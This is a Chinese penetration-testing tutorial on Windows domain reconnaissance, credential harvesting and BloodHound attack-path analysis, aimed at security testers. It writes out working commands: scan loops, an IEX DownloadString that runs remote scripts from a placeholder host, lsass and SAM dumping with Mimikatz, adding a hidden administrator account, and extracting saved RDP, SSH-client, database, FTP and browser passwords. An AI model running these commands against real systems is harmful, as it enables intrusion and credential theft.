1.本机基础信息收集

1.系统信息搜集

1.查看操作系统信息

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS VersioN"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

image.png

2.查看当前的进程

tasklist
tasklist /SVC

image.png

WMIC是Windows管理规范的命令行工具
通过wmic查询主机进程信息,过滤出进程的路径、名称和PID

wmic process get Name, ProcessId, ExecutablePath

image.png

查看指定进程的路径信息

wmic process where Name="msdtc.exe" get ExecutablePath

image.png

3.查看当前的服务信息
查看所有服务信息并过滤出服务的名称、路径、创建时间、运行状态信息

wmic service get Caption,Name,PathName,StartName,State

image.png

查看指定服务

wmic service where Name="vds" get Caption,Name,PathName,StartName,State

image.png

4.查看计划任务信息

schtasks /query /v /fo list 
schtasks /query /v /fo list > 1.txt

image.png

5.查看程序自启动程序信息
查看自启动程序信息,过滤出 名称、执行命令、执行路径、所属用户

wmic startup get Caption,Command,Location,User

image.png

6..查看补丁安装信息
查看当前主机上安装的补丁列表,并过滤出补丁连接、名称、描述、补丁编号以及安装时间,可以推测目标主机系统版本和缺少的补丁辅助后面的提权。

wmic qfe get Caption,CSName,Description,HotFixID,InstalledOn

image.png

7.查看应用安装信息
查看主机安装的应用软件信息,并过滤出应用的名称和版本

Wmic product get Caption,Version

image.png

2.用户信息搜集

  1. 查看用户及所处组、所拥有特权
    测试人员可以根据当前所有的信息对当前用户权限进行一个判断,推测是否需要进一步提权
    whoami /all

2.查看本地用户/组信息
查看用户信息

net user
net user <username>

image.png

产看本地管理员组

net localgroup administrators

image.png
该主机加入域时,域全局组”HACK-MY\Domain Admins”自动添加到计算机本地Administratos组中。

主机本地创建一个新用户并加入管理员组

net user <username> <password> /add
net localgroup Administrators <username> /add

image.png

3.查看当前登录用户

query user

image.png

3.网络信息搜集

1.查看网络配置信息,包括IP,主机名等

ipconfig /all

有多网段尝试后期横向移动
DNS服务器的IP一般为DC的IP
image.png

2.查看主机路由信息(路由表)

route print

网络目标都是主机可以访问到的,可以用来看IP段,测试人可在后续的横向渗透中尝试探测其中的存活主机

3.查看端口连接信息

netstat -ano

image.png

4.查看当前会话列表

net session

查看当前主机与客户端主机的会话

5.查看当前主机网络共享信息

net share

image.png

6.查看已连接的网络共享

net use

2.域内信息搜集

1.判断是否存在域环境

net config workstation

查看工作站信息,包括计算机名、用户名、系统版本名、工作站、登录域信息。
image.png

2.查看域内用户信息
查看所有域用户

net user /domain

image.png

查看指定域用户的信息

net user <username> /domain

image.png

获取所有用户的SID、所属域和用户描述信息

wmic useraccount get Caption,Domain,Description

image.png
只有域用户具有权限执行域内查询操作。非域用户除非是本机系统权限,否则只能查询本机信息。所有与域相关的查询都需要通过域控制器来实现,并且需要经过Kerberos协议进行认证。

3.查看域用户组信息
列出所有的域内用户组

net group /domain

image.png

查询域管理员组。得到所有的域管理员用户

net group "Domain Admins" /domain

image.png

查询域成员组,得到域内所有的客户端主机

net group "Domain Computers" /domain

image.png
image.png

4.查看域内密码策略

net accounts /domain

image.png

5.查看域控制器列表

net group "Domain Controllers" /domain

可以得到所有的域控制器的主机名
image.png

也可以通过nltest命令查询指定域控制器主机列表

nltest /DCLIST:hack-my.com

6.查看主域控制器
主控制器会被用作时间服务器,所有域中计算机的时钟同步

net time /domain

image.png

7.定位域控制器
知道目标主机名可以对主机使用ping命令,根据返回内容得知目标主机在内网中的IP

ping DC.hack-my.com

image.png

8.查看域信任关系

nltest /domain_trusts

域信任用于多域环境中的跨域资源共享,可以查看当前主机所在域和其他域间的信任关系
image.png

3.内网资源探测

1.发现内网存活主机

1.基于icmp发现存活主机
对整个网段进行ping命令
循环探测整个局域网C段中存活的主机

for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="
-n 发送数据包数
-w ping的时间
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

image.png

2.基于netbios协议发现存活主机
netbios工作流程是将机器名解析,查询,应答。Windows中,默认安装TCP/IP后会自动安装netbios.
向局域网中每个ip发送netbios查询,可以获得主机名、mac地址等信息

nbtscan是一款用于扫描Windows网络上的netbios名称的程序,用于发现内网中存活的Windows主机

nbtscan.exe 10.10.10.0/24

kali自带nbtscan

windows: https://github.com/lifenjoiner/nbtscan/releases/tag/nbtscan-v1.5.2-2394b4
image.png

3.基于UDP发现存活主机
将空的UDP报文发送给目标主机特定端口,如果端口关闭,UDP探测就能马上得到ICMP端口无法到达的回应报文。
如果开放端口,大部分服务仅忽略这个空报文而不做任何回应

Unicornscan是kali的信息搜集工具,提供了网络扫描功能

unicornscan -mU 10.10.10.0/24

image.png

4.基于ARP在实际利用中,可以向网络发送一个ARP请求,若目标主机处于活跃状态,则其一定会回应一个ARP响应,否则不会做出任何回应。
a.ARP-scan
ARP-scan利用ARP发现内网中存活的主机

arp-scan.exe -t 10.10.10.0/24

linux/macos:https://github.com/royhills/arp-scan
windows:https://github.com/QbsuranAlang/arp-scan-windows-
image.png

b.PowerShell的利用
Empire渗透框架的Invoke-ARPScan.psl脚本可利用ARP发现内网存活主机(项目见Github上的相关网页)。使用时,需要将脚本导入执行
项目地址:

Import-Module .\Invoke-ARPScan.ps1
Invoke-ARPScan -CIDR 10.10.10.0/24

也要将脚本代码托管在服务器上,通过PowerShell远程加载执行

powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://your-ip:port/Invoke-ARPScan.ps1')
;Invoke-ARPscan -CIDR 10.10.10.0/24"

注:
如果出现Powershell报错:因为在此系统上进制运行脚本。需要进行执行策略更改。
image.png

5.基于SMB协议发现存活主机
SMB主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信资源。CIFS消息一般使用NetBOIS或TCP发送,分别使用139或445端口,目前倾向于445端口。
实际利用中可以探测局域网中存在的SMB服务从而发现内网存活主机,多适用于Windows主机的发现。
CrackMapExec 是一款十分强大的后渗透利用工具
能够枚举登录用户,枚举SMB服务列表,执行WINRM攻击等功能。
kali上直接apt-get命令安装

crackmapexec smb 10.10.10.0/24

image.png

2.内网端口扫描

a.利用Telnet探测端口
Telnet可以简单测试指定端口是开启还是关闭

telnet <IP> <Port>

image.png

b.Nmap
扫描指定端口

nmap -p 80,88,135,139,443,8080,3306,3389 10.10.10.11

image.png

全端口扫描

nmap -sS -p 1-65535 10.10.10.11

扫描并获取指定端口上开放的服务版本

nmap -sC -sV -p 80,88,135,139,443,8080,3306,3389 10.10.10.11

c. 利用PowerShell进行端口扫描
Nishang是基于PowerShell的渗透测试专用框架,集成了各种脚本和Payload,广泛应用域渗透测试各阶段。
NiShang的Scan模块中也有一个Invoke-PortScan.ps1脚本,可以用来对主机进行端口扫描
对内网的一个主机范围执行默认的端口扫描
脚本地址:https://github.com/chicagoadmin/nishang/blob/c3fdf5e5dfa8612d0a17636dbb096b04e987ab31/Scan/Invoke-PortScan.ps1#L4

Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.20 -ResolveHost -ScanPort

image.png

对内网中的一个主机范围扫描指定的端口

powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://your-ip:port/Invoke-portscan.ps1');Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.20 -ResolveHost -ScanPort -Port 80,88,135,139,443,8080,3306,3389"

image.png

3.Metasploit探测内网

具体利用方法自行查阅相关文档
image.png
例: 基于ARP探测存活主机
image.png

4.获取端口Banner信息

端口Banner-端口连接的欢迎语
1.Nc获取banner

nc -nv 10.10.10.15 21

image.png

2.Telnet获取banner

telnet 10.10.10.15 21

image.png

3.利用Nmap获取banner

nmap --script=banner 10.10.10.15

image.png

4.用户凭据收集

1.获取域内单机密码和哈希值

Windows中,SAM文件是Windows用户的账户数据库,位于系统的%SystemRoot%\System32\Config,存储了本地用户名,密码的哈希值。

用户登陆时,输入的明文密码被转换为哈希值,然后与SAM文件中的哈希值进行对比。

lsass.exe是Windows的一个系统进程,用于实现系统的安全机制。用户输入密码登录后,登陆的域名,用户名和登录凭证等信息会被存储在lsass.exe进程空间中,用户的明文密码经过WDigest和Tspkg模块调用后会对其使用可逆的算法进行加密并存储在内存中。

获取密码hash的工具很多,大多是

  1. 读取SAM文件
  2. 访问lsass.exe进程的内存数据等操作实现

一般需要先提权

Mimikatz

Mimakatz是一款功能强大的凭证转储开源程序,可以帮助测试人员提升进程权限、注入进程、读取进程内存等,广泛用于内网渗透测试领域。

项目地址:https://github.com/gentilkiwi/mimikatz

1.在线读取lsass进程内存

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
#privilege::debug 用于提升至DebugPrivilege权限
#sekurlsa::logonpasswords 用于导出用户凭证

可直接从lsass.exe进程的内存中读取当前已登录用户的凭据
image.png

2.离线读取lsass内存文件
可以将lsass.exe进程的内存转储,将内存文件导出到本地后使用Mimikatz进行离线读取

微软提供Procdump工具进行内存转储
下载地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

procdump.exe -accepteula -ma lsass.exe lsass.dmp

image.png

导出用户凭据

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
#sekurlsa::minidump lsass.dmp 用于加载内存文件
#sekurlsa::logonpasswords 用于导出用户凭据

image.png
image.png

3.在线读取本地SAM文件
将mimikatz.exe上传到目标主机并执行

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
#token::elevate 用于提升至System权限
#lsadump::sam 用于读取本地SAM文件

读取SAM文件中保存的用户凭证,导出当前系统中所有本地用户的哈希值
image.png

4.离线读取本地SAM文件
离线读取就是将SAM文件导出,使用mimikatz加载并读取其中的用户登录凭据等信息。
Windows为了提高SAM文件的安全性防止离线破解,会对SAM文件使用密钥加密,这个密钥存储在SYSTEM文件中,域SAM位于相同目录下。

首先,在目标主机上导出SAM和SYSTEM两个文件。因为系统在运行时,这两个
文件是被锁定的,所以需要借助一些工具来实现,而PowerSploit项目中提供的Invoke-NinjaCopy.ps1脚本可以完成这项工作。
脚本地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination C:\Windows\Temp\SAM
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination C:\Windows\Temp\SYSTEM

会在Temp目录下生成SAM和SYSTEM两个文件
image.png

也可以在管理员权限下执行以下命令,通过保存注册表的方式导出

reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

会在当前目录下生成sam.hive 和system.hive
image.png

将导出的SAM和SYSTEM文件复制到本地,使用mimikatz加载读取

mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit

image.png

2.获取常见应用软件凭据

1.获取RDP保存的凭据

RDP凭据都使用数据保护API以加密形式存储在Windows的凭据管理器中
路径为 %USERPROFILE%\AppData\Local\Microsoft\Credentials

环境设置
被登陆机开启远程登陆,关闭仅允许运行使用网络级别身份验证的远程桌面的计算机连接
image.png
破解机连接受控机
imag.png
成功连接到远程桌面
image.png

查看主机上保存的连接凭据

#查看当前保存的凭据
cmdkey /list

image.png

#遍历Credentials目录下保存的凭据
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*

image.png
使用mimikatz导出指定的RDP连接凭据

mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\ [凭据名]" exit

image.png
获得guidMasterKey,phData
phData是凭据的加密数据
guidMasterKey是凭据的GUID

记录下guidMasterKey执行

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

找到GUID关联的MasterKey,MasterKey是加密凭据所使用的密钥。
记录masterkey
image.png

最后执行

mimikatz.exe "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\[凭据名] /masterkey:[抓到的masterkey]" exit

成功破解获得RDP铭文凭据
image.png
CredentialBlob即是Administrator密码

2.获取Xshell保存的凭据

Xshell会将服务器连接信息保存在Session目录下的.xsh文件中
如果用户在连接时勾选了记住用户名/密码,该文件会保存远程服务器连接的用户名和及你给过加密后的密码

XSHELL版本对应.xsh文件路径
Xshell 5 - %USERPROFILE%\Documents\NetSarang\Xshell\Sessions
Xshell 6 - %USERPROFILE%\Documents\NetSarang Computer\6\Xshell\Sessions
Xshell 7 - %USERPROFILE%\Documents\NetSarang Computer\7\Xshell\Sessions

Xshell全版本凭证一键恢复工具SharpXDecrypt
项目地址:https://github.com/JDArmy/SharpXDecrypt
直接运行即可

C:\Users\asus\Desktop\DEV\SharpXDecrypt\bin\Debug> .\SharpXDecrypt.exe

image.png

Xshell 7 以前的版本,测试人员可以通过 SharpDecryptPwd工具进行解密,包括Navicat、TeamViewer、FileZilla、WinSCP和Xmangeger系列产品。
项目地址:https://github.com/uknowsec/SharpDecryptPwd
将SharpDecryptPwd上传到目标主机,执行以下命令,可以直接获取Xshell保存的所有连接凭据

SharpDecryptPwd.exe -Xmangager -p "[对应版本Xshell.xsh文件地址]"

Xshell 7 后的版本, Session目录中不再存储用户密码,用上述方法获取的密码为一串乱码,使用星号密码查看器直接查看密码。
工具下载链接:https://www.lanzoui.com/i2tcmej
打开xshell7,选择用户登录界面,把密码查看器的放大镜对焦到星型密码框,即可看到用户密码
image.png

3.获取NaviCat保存的凭据

用户默认选择保存密码,Navicat将登录信息保存到注册表中,且经过可逆算法加密,且Navicat<=11版本和Navicat>=12
image.png

使用SharpDecryptPwd可以一键导出当前著加上用户连接过的所有数据库的登录凭据

SharpDecryptPwd.exe -NavicatCrypto

Navicat连接数据库,保存凭证
image.png

成功连接后运行SharpDecryptPwd.exe
image.png
成功获取用户账号密码

4.获取浏览器保存的登录凭据

HackBrowserData是一款开源工具,可以直接从浏览器解密数据包包括用户登录密码、书签、cookie、历史记录、信用卡、下载链接、历史记录等csv文件
将HackBrowserData上传到目标主机直接运行即可。
项目地址:https://github.com/moonD4rk/HackBrowserData
直接运行
image.png

C:Users\>hack-browser-data-windows-64bit.exe

查看导出的csv
image.png
成功导出用户密码
image.png

5.获取FileZilla保存的凭据

FileZilla是一款快速的、可依赖的、开源的FTP客户端软件,具备大多数FTP软件功能.FileZilla会将所有FTP登录凭据以Base64密文格式保存在%USERPROFILE%\AppDate\Roaming\FileZilla\recentservers.xml文件中。<User>节点记录了FTP登录用户,<Pass>节点记录了Base64加密后的用户密码,将加密的FTP密码解密即可。
使用SharpDecryptPwd 一键导出FileZilla保存的FTP登录凭据。

SharpDecryptPwd.exe -FileZilla

6.获取WinSCP保留的登录凭据

WinSCP是Windows环境下使用SSH的开源图形化SFTP工具客户端.在使用SFTP连接时,如果勾选了”保存密码”,WinSCp就会将密码保存在WinSCP.ini文件下。Winscppwd工具则可以进行解密.
工具下载地址:https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml

Winscppwd.exe WinSCP.ini reading WinSCP.ini

5.使用BloodHound自动化分析域环境

项目地址:https://github.com/BloodHoundAD/BloodHound

BloodHound是一款强大的域内环境分析工具,可以揭示并分析域环境中各对象之间
的关系,将域内相关用户、用户组、计算机等对象之间的关系以可视化方式呈现。通过BloodHound,测试人员可以更直观、更便捷地分析域内环境的整体情况,并快速识别出
复杂的攻击路径。

BloodHound基于Neo4j数据库(一种NoSQL图数据库,可将结构化数据存储在网络上)。在使用时,测试人员需提前将域环境中采集到的数据导入BloodHound的Neo4j数据库,然后通过BloodHound对这些数据进行分析,以可视化方式呈现。

1.BloodHound环境部署

参考文章:https://blog.csdn.net/qq_56426046/article/details/126854991
1.安装Neo4j数据库

apt-get install neo4j

安装好后运行图形化数据库Neo4j

neo4j start

image.png

访问http://localhost:7474
默认账号密码都是:neo4j
image.png

首次登录会提示修改密码,修改完成后跳转至如下页面,表示Neo4j安装成功
image.png

去官网下载BloodHound-linux-x64
https://github.com/BloodHoundAD/BloodHound/releases/tag/v4.3.1
解压

unzip BloodHound-linux-x64

启动

cd BloodHound-linux-x64
./BloodHound --no-sandbox

登录

Username:neo4j
Password:123456

image.png

启动成功页面:
image.png

2.BloodHound使用

BloodHound需要来自Active Directory(AD)环境的三条信息才能运行:

  • 哪些用户登录了哪些机器
  • 哪些用户拥有管理员权限
  • 哪些用户和组属于哪些组
    在大多数情况下,收集此信息不需要管理员权限,也不需要在远程系统上执行代码。
1.采集并导出数据

使用官方数据采集器SharpHound,有可执行文件和Powershell两个版本。
项目地址:https://github.com/BloodHoundAD/SharpHound
SharpHound 会自动采集域内的用户、用户组、计算机、组策略、域信任关系等信息,将采集到的所有信息在当前目录下打包成一个以时间戳标识的ZIP文件。SharpHound.exe对.netframwork版本有需求,需安装对应版本。

SharpHound与BloodHound也需要版本匹配!

运行

SharpHound.exe -c All

image.png

文件夹下生成zip文件
image.png

2.导入数据

将采集到的.zip文件保存至本地,单击右侧的Upload Data按钮自动将生成的ZIP数据包导入
image.png

导入后BloodHound进行自动化数据分析。分析结束后,左侧的Database Info 模块处就有数据了
image.png

可以在Analysis进行不同的分析查询,例如Shortest Paths to Domain Admins
image.png

3.节点信息

BloodHound通过图形和连线来呈现数据,每个图形被称为一个节点,用来表示域内不同的对象。域内不同的对象,如用户、用户组、计算机、域、组策略、组织单位等,都用专属的图形来表示。

点击任一节点,左侧的Node Info会显示关于该节点的信息,包括节点概述、节点属性、所属组、所拥有的权限。不同的对象包含不同类型的节点信息。
image.png

4.边缘信息

边缘时连接两个相互作用的节点之间的连线,可以反应两个相互作用的节点之间的联系
如图所示:右侧红线所指的两个组为DOMAIN ADMINS和ENTERPRISE ADMINS
用户ADMINISTRATOR是这两组的成员。
image.png

常见边缘类型:
image.png
image.png
更多细节可查询官方文档。

5.数据分析

BloodHound在Analysis模块中预设了很多查询功能,常用的查询功能及说明见下表
image.png
image.png

1.查找所有的域管理员

Analysis模块中的”Find all Domain Admins”,查找所有域管理员。
image.png
当前环境有1个域管理员用户,是Domain Admins组的成员

2.识别达到域管理员的最短路径

Analysis模块中的”Find Shortest Paths to Domain Admins”,识别出到达域管理员的最短路径
image.png

可以根据不同节点间的不同边缘判定攻击方式,从而实现盗取凭据等功能。

3.查找所有拥有DCSync权限的主体

Analysis模块中的”Find Principals with DCSync Rights”
image.png
拥有DCSync权限的主体可以通过Directory Replication Service(DRS)服务的GetNCChanges接口向域控发起数据同步请求,并从域控制器请求数据。通过DCSync,测试人员可以导出所有域用户的哈希值,实现隐蔽的权限维持,将在后面讲解。

4.映射域信任关系

Analysis模块中的”Map Domain Trusts”,显示当前域信任关系。域信任解决了多域环境中的跨域资源共享问题,允许受信任域的用户访问信任域中的资源。域是一个具有安全边界的计算机集合,两个域之间必须具有域信任关系,才能相互访问到对方域的资源。测试人员通过尝试收集有关域信任关系的信息,可以为Windows多域/域林环境中的横向移动寻找机会。

5.识别到达无约束委派系统的最短路径

“Analysis”模块中的“Shortest Paths to Unconstrained Delegation Systems”,识别出到达无约束委派系统的最短路径。
image.png
域委派是指将域内用户的权限委派给服务账户,使得服务账户能够以该用户的身份在域内开展其他活动,如访问域内的其他服务。委派为域内的多跳认证带来很大的便利,也带来很大的安全隐患。通过滥用委派,管理人员可以获取域管理员权限,接管整个域环境,也可以用来制作后门,实现隐蔽的权限维持。

6.列出所有Kerberoastable用户

Analysis模块中的”List all Kerberoastable Accounts”,列出所有Kerberoastable用户。

7.识别达到Kerberoastable用户的最短路径

Analysis模块中的”Shortest Paths from Kerberoastable Users”,识别出到达Kerberoastable用户的最短路径

8.识别到达高价值目标的最短路径

Analysis模块中的”Shortest Paths to High Value Targets” , 识别出到达高价值目标的最短路径。
image.png

9.查找所有非域控制器的域管理登录

Analysis模块中的”Find Domain Admin Logons to non-Domain Controllers”,可以找出域管理员在所有非域控的主机的登录痕迹,为准确获取域管理员提供了方向。
image.png
域管理员曾在WIN7.HACK-MY.COM主机上登陆过,测试人员可以通过入侵这两台主机,可以找到域管理员活动的进程,通过迁移进程或令牌窃取等手段,便可获取域管理权限。